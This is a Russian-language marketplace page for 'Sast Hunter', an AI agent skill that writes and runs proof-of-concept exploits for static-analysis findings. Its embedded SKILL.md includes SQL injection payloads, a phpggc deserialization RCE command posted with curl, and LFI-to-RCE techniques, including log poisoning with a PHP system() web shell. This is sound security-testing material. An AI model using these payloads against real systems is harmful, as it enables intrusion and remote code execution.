Логотип Sast Hunter

Sast Hunter

Сообщество
H-mmer
sast-hunter

Focused PoC builder for SAST candidates. Receives a SPECIFIC candidate vulnerability that survived adversarial validation. Writes a PoC, compiles, runs with ASan, confirms or rejects. Use via /sast command.

Обзор

ИздательH-mmer
Репозиторийpentest-agents
Название навыкаsast-hunter
Звёзды
999
Форки
188
Файлы в комплекте
Только инструкции
Ссылки
  • Инструкции в формате Markdown

    Модель загружает файл SKILL.md по мере необходимости, поэтому токены расходуются только при подходящем запросе.

  • Работает с любой большой языковой моделью

    Навыки ИИ — это обычный Markdown, а не код для конкретного поставщика, поэтому они работают с GPT, Claude, Gemini, Grok и локальными моделями.

  • Всё необходимое — в инструкциях

    Всё необходимое для модели содержится в инструкциях — никаких дополнительных файлов для синхронизации.

  • Открытый исходный код

    Издатель навыка на GitHub — H-mmer. Перед установкой изучите исходные материалы.

Установка

Установите навык ИИ Sast Hunter в TypingMind, чтобы использовать его с любой LLM, или добавьте его в другой агент, который умеет читать SKILL.md.

1

Установка в TypingMind

TypingMind устанавливает навык прямо из его папки на GitHub: читает SKILL.md, собирает файлы ресурсов и сохраняет результат локально.

  1. Откройте приложение и перейдите в раздел «Плагины → Навыки».
  2. Выберите «Установить из GitHub».
  3. Вставьте указанную ниже ссылку на папку навыка и подтвердите установку.
    https://github.com/H-mmer/pentest-agents/tree/main/providers/openclaw/.agents/skills/agent-sast-hunter
  4. Включите навык в каждом чате, где хотите его использовать.
Плагины → Навыки → Добавить навык → По ссылке GitHub, затем вставьте ссылку на папку и нажмите «Продолжить».
2

Установка в другом агенте

Любой агент с поддержкой формата Agent Skills может использовать этот навык — скопируйте папку в каталог навыков этого агента.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/H-mmer/pentest-agents.git /tmp/pentest-agents
mkdir -p .claude/skills
cp -r /tmp/pentest-agents/providers/openclaw/.agents/skills/agent-sast-hunter .claude/skills/sast-hunter
После копирования перезапустите Claude Code, чтобы загрузить новый навык.

Использование в TypingMind

Включите навык Sast Hunter в любом чате TypingMind, и дальше модель всё сделает сама. Его название и описание хранятся в системном промпте, а при появлении подходящего запроса модель сама загружает полные инструкции. Вам не нужно вызывать навык вручную, и до фактического использования он не расходует токены.

Модель сама загружает навык Sast Hunter, как только появляется подходящий для него запрос.

Работает с любой моделью ИИ

Навыки ИИ — это обычные инструкции в Markdown, а не код для конкретного поставщика, поэтому навык Sast Hunter не привязан к модели, для которой он был создан. Установите его один раз в TypingMind и используйте с GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama или локальной моделью, которую запускаете самостоятельно, — со своими ключами API.

  • Загружается только при необходимости

    Системный промпт содержит только название и описание. Инструкции загружаются при первом подходящем запросе, поэтому неиспользуемый навык не расходует токены.

  • Меняйте модели прямо в чате

    Навык состоит из инструкций, а не кода, поэтому смена модели не нарушает его работу: новая модель читает тот же файл SKILL.md.

Инструкции навыка

Это содержимое файла SKILL.md, которое загружает модель. Прочитайте его перед установкой: навык — это инструкции, которым будет следовать ваша модель.

CONTEXT: Authorized security research. Building proof-of-concept for a specific candidate vulnerability.

MANDATORY: Research First

Before writing the PoC, call:

  • search_techniques with the vuln class (e.g., "signed integer overflow exploitation", "php unserialize pop chain", "php type juggling", "php lfi to rce")
  • search_payloads for similar patterns (e.g., "sqli mysql union", "xss htmlspecialchars bypass", "phar deserialize")

If MCP unreachable, proceed with your own knowledge.

Your Assignment

You receive a SPECIFIC candidate that has already:

  1. Been identified by the gap-analyzer (entry point → gap → dangerous operation)
  2. Survived the devil's advocate (code verified, checks confirmed missing)

Your job is narrow: write a PoC that triggers the bug and confirm with ASan/Valgrind.

You are NOT doing open-ended hunting. The vulnerability hypothesis is already defined. You are building the proof.

Inputs

  • candidate: the specific vulnerability with entry point, flow, gap, and poc_hint
  • file: the source file containing the bug
  • build_info: how to compile the project
  • language: C/C++/Rust/Java/Python/Go

Process

Step 1: Understand the trigger condition

Read the candidate's the_gap and poc_hint. Understand exactly what input is needed:

  • What value must the attacker-controlled data have?
  • What code path must be taken to reach the vulnerable operation?
  • What preconditions must be met (state, configuration, prior messages)?

Step 2: Write the PoC

Choose the appropriate approach:

For network protocols: Write a Python script that sends crafted packets

python
import socket
# Craft the specific packet that triggers the condition

For file formats: Create a malformed input file

python
# Build a minimal file that reaches the vulnerable codec path

For library APIs: Write a minimal C/Python program that calls the vulnerable function

c
#include "vulnerable_header.h"
int main() {
    // Set up minimal state
    // Call function with triggering input
}

For kernel code: Write a test program that makes the triggering syscall or sends the triggering packet from userspace

For PHP web apps: Write the minimal HTTP request that triggers the bug. Two approaches:

  1. Live HTTP (preferred if the app is runnable locally): spin up php -S 127.0.0.1:8000 -t <webroot> (or docker-compose up if available) and fire crafted requests via curl / python requests.
python
# poc/sast/<id>_poc.py
import requests
r = requests.post("http://127.0.0.1:8000/vuln.php",
    data={"id": "1 UNION SELECT 1,table_name,3 FROM information_schema.tables-- -"},
    cookies={"PHPSESSID": "..."},
    allow_redirects=False)
print(r.status_code, r.text[:500])
  1. Direct runtime (for library-level bugs): write a minimal PHP harness that loads the vulnerable code path and calls it with crafted input.
php
<?php
// poc/sast/<id>_poc.php
require __DIR__ . '/../../vendor/autoload.php';
$_GET['id'] = "1' UNION SELECT 1,2,3-- -";
require __DIR__ . '/../../src/vulnerable.php';  // triggers the flow

Run with php -d error_reporting=E_ALL -d display_errors=1 poc/sast/<id>_poc.php 2>&1 | tee sast-work/<id>_runtime.txt.

For PHP unserialize / POP chain bugs: use phpggc to generate the gadget payload.

bash
# https://github.com/ambionics/phpggc
phpggc Laravel/RCE6 system 'id' -b  > payload_b64.txt
# Then POST the base64-decoded payload into the unserialize sink
curl -X POST "http://127.0.0.1:8000/vuln.php" -d "data=$(cat payload_b64.txt | base64 -d | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))')"

If phpggc doesn't have a gadget for the target's class set, check composer.json for vendored libs with known gadgets; otherwise hand-craft using classes found in the project.

For PHP file inclusion (LFI → RCE): common paths to include for RCE after LFI:

  • php://filter/convert.base64-encode/resource=config.php — read source of sensitive files
  • /proc/self/environ — exec arbitrary PHP if you control a header that gets echoed here (classic on older PHP)
  • php://filter/convert.base64-decode/resource=data://text/plain,<b64-php-code> — direct code exec
  • Apache/nginx access log poisoning via User-Agent: <?php system($_GET['c']); ?> then include /var/log/apache2/access.log
  • PHP session file poisoning: write PHP into a session, include /var/lib/php/sessions/sess_<id>
  • Phar: upload a polyglot Phar disguised as image, then trigger phar://uploads/avatar.jpg via any file op

Step 3: Build with sanitizers

bash
# For the PoC itself (if C/C++):
gcc -fsanitize=address,undefined -g -O1 -o poc poc.c -I<project_include> -L<project_lib> -l<lib>

# Or if testing the project binary:
# Ensure project was built with ASan in Phase 1

Step 4: Run and observe

bash
./poc 2>&1 | tee sast-work/<id>_output.txt

Check for (language-dependent):

  • C/C++/Rust/Go: ASan report (heap-buffer-overflow, stack-buffer-overflow, use-after-free), UBSan report (signed integer overflow, null pointer), segfault/abort, Valgrind errors.
  • PHP: HTTP response content matching injected marker (echoed XSS payload, SQL query result in response body, id command output, directory listing, etc.); direct runtime exec with error_reporting=E_ALL showing PHP warnings like Undefined variable, Array to string conversion, Uncaught Error, or success markers (e.g., file written, phpinfo() output, reverse shell callback).
    • For SQLi: time-based (SLEEP(5) payload → measure response time), boolean-based (differential response), error-based (SQL error in response), UNION-based (injected column in output).
    • For XSS: response HTML contains the payload in a context that would execute (outside of <script> JSON, inside HTML body, in attribute without proper escaping) — confirm with browser or with parsed HTML checks. Use browser-verifier subagent for final visual confirm if available.
    • For RCE: your payload's command output appears in response, or the side-effect is observable (file created on disk, callback received on a netcat listener, sleep reliably blocks).
    • For LFI: response body contains file contents (look for root:x:0:0 for /etc/passwd, <?php prefix for source disclosure, database credentials for .env).
    • For deserialize: gadget chain's side-effect fires — command runs, file is written, SQL query executes.
  • Python/Java: interpreter exception, security manager trip, SQL query logs showing attacker-controlled clause, etc.

Step 5: Verdict

CONFIRMED if:

  • ASan/UBSan/Valgrind reports a real error at or near the predicted location
  • OR the program crashes (segfault, abort) at the predicted location
  • The trigger input matches the candidate's hypothesis

REJECTED if:

  • The PoC runs without any sanitizer error or crash
  • The error occurs at a different location than predicted (might indicate a different bug — note this)
  • The trigger condition cannot be reached despite multiple attempts

PARTIAL if:

  • ASan fires but at a different point in the flow — the candidate might be wrong about the root cause but there IS a bug
  • The crash occurs but is not reliably reproducible

Output

Write PoC to disk: poc/sast/<candidate_id>_poc.py (or .c)

json
{
  "candidate_id": "tcp_sack_001",
  "verdict": "CONFIRMED",
  "poc_file": "poc/sast/tcp_sack_001_poc.py",
  "trigger": "TCP packet with SACK option where sack_start = snd_una + 0x80000000",
  "sanitizer": "UBSan: signed integer overflow in tcp_seq.h:42, ASan: null-pointer-dereference in tcp_sack.c:347",
  "asan_output_file": "sast-work/tcp_sack_001_asan.txt",
  "crash_type": "null pointer write (kernel panic in production)",
  "reliability": "100% — deterministic single-packet trigger",
  "severity_confirmed": "high — remote DoS, unauthenticated",
  "notes": "Exact crash location matches candidate prediction. Signed overflow confirmed by UBSan."
}

Rules

  • Write the PoC to disk. poc/sast/<candidate_id>_poc.py. Terminal output alone is not acceptable.
  • Save ASan output. sast-work/<candidate_id>_asan.txt. This is the evidence.
  • Don't modify the target code. Build it as-is with sanitizer flags. Your PoC is a separate file that interacts with the built binary/library.
  • Minimal PoC. The PoC should contain ONLY what's needed to trigger the bug. No scaffolding, no nice output, just the trigger.
  • If rejected, explain WHY. What did you try? What happened instead? This prevents re-testing.
  • If you find a DIFFERENT bug while building the PoC — note it in output as unexpected_finding but don't chase it. The orchestrator will handle it.

Brain Integration

Before starting, check brain for prior PoC attempts on this candidate. After completing, record verdict and technique.

Top-Tier Operator Standard

PoC confirmation settles the candidate.

  • Reproduce the exact candidate first; do not broaden scope until it is confirmed or killed.
  • Build the smallest harness that reaches the vulnerable path with attacker-controlled input.
  • Capture sanitizer output, stack trace, HTTP response, final state, or other decisive marker.
  • If rejected, identify the failed precondition: unreachable path, sanitized input, version mismatch, missing dependency, auth/config requirement, or incorrect sink.
  • If confirmed, write the PoC, run command, expected output, cleanup, and severity-limiting conditions to disk.

Часто задаваемые вопросы

Что делает навык ИИ Sast Hunter?

Focused PoC builder for SAST candidates. Receives a SPECIFIC candidate vulnerability that survived adversarial validation. Writes a PoC, compiles, runs with ASan, confirms or rejects. Use via /sast command.

Зачем использовать Sast Hunter в TypingMind?

Потому что вы устанавливаете навык один раз и используете его с любой моделью. Sast Hunter — это обычный текст в формате Markdown, а не код для конкретного поставщика, поэтому один и тот же навык работает с GPT-5, Claude, Gemini, Grok или локальной моделью. Вы можете менять модель прямо во время чата, и навык продолжит работать. TypingMind использует ваши собственные ключи API, поэтому вы платите поставщикам напрямую, а не оформляете подписку с оплатой за каждое место. Ваши навыки и чаты остаются в вашем собственном хранилище.

Как установить Sast Hunter в TypingMind?

В TypingMind откройте «Плагины → Навыки → Установить из GitHub» и вставьте https://github.com/H-mmer/pentest-agents/tree/main/providers/openclaw/.agents/skills/agent-sast-hunter. TypingMind прочитает файл SKILL.md и установит навык, который можно включать отдельно для каждого чата.

Какие модели ИИ могут использовать Sast Hunter?

Любая модель, которую вы подключите в TypingMind. Навыки ИИ — это обычные инструкции в формате Markdown, а не код для конкретного поставщика, поэтому GPT, Claude, Gemini, Grok и локальные модели могут загружать этот навык, когда запрос ему соответствует.

Со сколькими моделями ИИ можно использовать Sast Hunter?

С любым количеством. В TypingMind вы можете использовать Sast Hunter с любой моделью, которая поддерживает навыки, в том числе с GPT, Claude, Gemini, Grok, DeepSeek, Mistral и Llama. Для этого вы используете собственные ключи API.

Бесплатен ли навык ИИ Sast Hunter?

Навык опубликован на GitHub. Издатель — H-mmer. Условия лицензии можно найти в репозитории. Вы платите только своему поставщику ИИ за использованные токены.

Что такое навыки ИИ?

Навык ИИ — это набор инструкций, которыми модель ИИ может пользоваться каждый раз, когда ей нужно выполнить конкретную задачу. Он соответствует открытому формату Agent Skills: файл SKILL.md с названием и описанием, а также любые скрипты, шаблоны или справочные файлы, которые могут понадобиться модели. Модель читает инструкции, только когда ваш запрос соответствует навыку, поэтому установленный навык ничего не стоит, пока не используется.

Чем навыки ИИ отличаются от плагинов и серверов MCP?

Плагин или сервер MCP даёт модели новые инструменты, которые она может вызывать: при вызове где-то выполняется код и возвращает результат. Навык ИИ, напротив, даёт модели знания и описывает порядок действий: как подойти к задаче, какие шаги выполнить и каким должен быть хороший результат. Навыки — это обычный текст в формате Markdown, поэтому им не нужны сервер, ключ API или среда выполнения, и они работают с любой моделью.

Все
Логотип openclaw

Graincrawl

openclaw
ОрганизацияПопулярный

Архив Granola: поиск, актуальность синхронизации, заметки, расшифровки, панели, подсчёты SQL и работа с репозиториями Graincrawl.

82.2K
391K
Файлы: 1
Открыть
Логотип openclaw

Openclaw Changelog Update

openclaw
ОрганизацияПопулярный

Заново формируйте разделы журнала изменений релизов OpenClaw по истории Git перед выпуском бета-, стабильной или расширенной стабильной версии.

82.2K
391K
Файлы: 1
Открыть
Логотип openclaw

Openclaw Ci Limits

openclaw
ОрганизацияПопулярный

Управляйте GitHub Actions и ресурсами CI Blacksmith в OpenClaw: бюджетами регистрации раннеров, ограничениями fanout, одновременным запуском только одного задания для отправок в main, размером шардов, переносом задач на хостed-раннеры, состоянием очереди и безопасным…

82.2K
391K
Файлы: 1
Открыть
Логотип openclaw

Openclaw Debugging

openclaw
ОрганизацияПопулярный

Выясняйте причины сбоев моделей, провайдеров, интерфейсов инструментов, режима кода, потоковой передачи и поведения OpenClaw в live/Crabbox: прежде чем менять код, выбирайте подходящие журналы, проверки и способ подтверждения, в том числе загружайте сохранённые…

82.2K
391K
Файлы: 1
Открыть

Создайте своё рабочее пространство с ИИ прямо сейчас

Подпишитесь на нашу рассылку, чтобы узнавать о новых функциях и предстоящих розыгрышах 👇